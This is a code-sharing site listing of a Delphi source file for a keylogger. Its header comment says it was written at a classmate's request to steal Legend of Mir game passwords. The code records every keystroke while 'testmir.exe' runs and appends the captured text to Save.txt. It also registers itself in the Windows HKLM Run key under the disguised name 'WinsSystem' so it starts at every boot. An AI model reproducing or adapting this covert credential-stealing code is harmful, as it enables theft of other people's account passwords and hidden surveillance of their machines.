main.pas
上传用户:mrkingwuhu
上传日期:2007-05-27
资源大小:185k
文件大小:8k
源码类别:

控制台编程

开发平台:

Delphi

  1. unit main;
  2. {受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手知道原理是键盘
  3. 记录这方面的,所以写了个很简单的键盘记录器罢了,并不是什么密码截取器.
  4. (以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视TEST.EXE进程是否存在,如果
  5. 存在,就马上记录所有键盘操作,别外一个用来监视,TEST.EXE是否退出,如果退出了,就马上
  6. 停止监视.
  7. 有一部份代码是COPY他人的,在此多谢,本程序只是个人爱好写着玩玩儿已
  8. 本个是个菜菜,希望有机会与高手交流.........
  9. QQ:3800151 MAIL:XXXFFF_CN@TOM.COM WEB:WWW.SZPROGRAM.COM}
  10. interface
  11. uses
  12.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  13.   Dialogs, ExtCtrls, StdCtrls, Registry;
  14. type
  15.   Tw_main = class(TForm)
  16.     Timer_keyrec: TTimer;
  17.     Timer_savetxt: TTimer;
  18.     Memo_gettxt: TMemo;
  19.     Timer_thread: TTimer;
  20.     Label_thread: TLabel;
  21.     procedure Timer_keyrecTimer(Sender: TObject);
  22.     procedure Timer_savetxtTimer(Sender: TObject);
  23.     procedure Timer_threadTimer(Sender: TObject);
  24.     procedure FormCreate(Sender: TObject);
  25.   private
  26.     { Private declarations }
  27.   public
  28.     { Public declarations }
  29.   end;
  30. var
  31.   w_main: Tw_main;
  32. implementation
  33. uses public_fun;
  34. var
  35.   F:Textfile;
  36. {$R *.DFM}
  37. //Detect Press Key From any window
  38. procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
  39. var
  40.   i : byte;
  41. begin
  42.   for i:=8 To 222 do
  43.   begin
  44.      if GetAsyncKeyState(i)=-32767 then
  45.       begin
  46.       case i of
  47.       8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
  48.       9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
  49.       13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
  50.       17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
  51.       27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
  52.       32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
  53.       // Del,Ins,Home,PageUp,PageDown,End
  54.       33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
  55.       34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
  56.       35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
  57.       36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
  58.       //Arrow Up Down Left Right
  59.       37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
  60.       38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
  61.       39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
  62.       40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';
  63.       44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
  64.       45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
  65.       46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
  66.       145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';
  67.       //Number 1234567890 Symbol !@#$%^&*()
  68.       48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
  69.            else Memo_gettxt.text:=Memo_gettxt.text+'0';
  70.       49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
  71.            else Memo_gettxt.text:=Memo_gettxt.text+'1';
  72.       50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
  73.            else Memo_gettxt.text:=Memo_gettxt.text+'2';
  74.       51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
  75.            else Memo_gettxt.text:=Memo_gettxt.text+'3';
  76.       52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
  77.            else Memo_gettxt.text:=Memo_gettxt.text+'4';
  78.       53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
  79.            else Memo_gettxt.text:=Memo_gettxt.text+'5';
  80.       54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
  81.            else Memo_gettxt.text:=Memo_gettxt.text+'6';
  82.       55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
  83.            else Memo_gettxt.text:=Memo_gettxt.text+'7';
  84.       56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
  85.            else Memo_gettxt.text:=Memo_gettxt.text+'8';
  86.       57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
  87.            else Memo_gettxt.text:=Memo_gettxt.text+'9';
  88.       65..90 : // a..z , A..Z
  89.           begin
  90.           if ((GetKeyState(VK_CAPITAL))=1) then
  91.               if GetKeyState(VK_SHIFT)<0 then
  92.                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
  93.               else
  94.                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  95.           else
  96.               if GetKeyState(VK_SHIFT)<0 then
  97.                   Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
  98.               else
  99.                   Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
  100.           end;
  101.       //Win
  102. //      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
  103. //      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
  104.       //Numpad
  105.       96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
  106.       106:Memo_gettxt.text:=Memo_gettxt.text+'*';
  107.       107:Memo_gettxt.text:=Memo_gettxt.text+'&';
  108.       109:Memo_gettxt.text:=Memo_gettxt.text+'-';
  109.       110:Memo_gettxt.text:=Memo_gettxt.text+'.';
  110.       111:Memo_gettxt.text:=Memo_gettxt.text+'/';
  111.       144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
  112.       112..123: //F1-F12
  113.           Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';
  114.       186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
  115.             else Memo_gettxt.text:=Memo_gettxt.text+';';
  116.       187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
  117.             else Memo_gettxt.text:=Memo_gettxt.text+'=';
  118.       188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
  119.             else Memo_gettxt.text:=Memo_gettxt.text+',';
  120.       189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
  121.             else Memo_gettxt.text:=Memo_gettxt.text+'-';
  122.       190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
  123.             else Memo_gettxt.text:=Memo_gettxt.text+'.';
  124.       191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
  125.             else Memo_gettxt.text:=Memo_gettxt.text+'/';
  126.       192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
  127.             else Memo_gettxt.text:=Memo_gettxt.text+'`';
  128.       219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
  129.             else Memo_gettxt.text:=Memo_gettxt.text+'[';
  130.       220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
  131.             else Memo_gettxt.text:=Memo_gettxt.text+'';
  132.       221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
  133.             else Memo_gettxt.text:=Memo_gettxt.text+']';
  134.       222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
  135.             else Memo_gettxt.text:=Memo_gettxt.text+'''';
  136.       end;
  137.       end;
  138.   end;
  139. end;
  140. procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
  141. begin
  142.   Assignfile(F,'Save.txt');
  143.   if not FileExists('Save.txt') Then
  144.     begin
  145.       Rewrite(F);
  146.       Closefile(F);
  147.     End
  148.   Else
  149.     Assignfile(F,'Save.txt');
  150.     {$I-}
  151.     Append(F);
  152.     {$I+}
  153.   If IOResult<> 0 Then
  154.     Begin
  155.       ShowMessage('Cannot Open File');
  156.     End;
  157.   Write(F,Memo_gettxt.Text);
  158.   Memo_gettxt.Clear;
  159.   Closefile(F);
  160. end;
  161. procedure Tw_main.Timer_threadTimer(Sender: TObject);
  162. begin
  163.   if detecthread('testmir.exe')='exist' then
  164.     begin
  165.       label_thread.Caption:='thread is Exist';
  166.       timer_keyrec.Enabled:=true;
  167.     end
  168.   else
  169.     begin
  170.       label_thread.Caption:='thread is NOTexist';
  171.       timer_keyrec.Enabled:=false;
  172.     end;
  173. end;
  174. procedure Tw_main.FormCreate(Sender: TObject);
  175. var
  176.   regis_mymir:TRegistry;
  177. begin
  178.   regis_mymir:=TRegistry.Create();
  179.   regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  180.   regis_mymir.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);
  181.   regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  182.   regis_mymir.Free;
  183. end;
  184. end.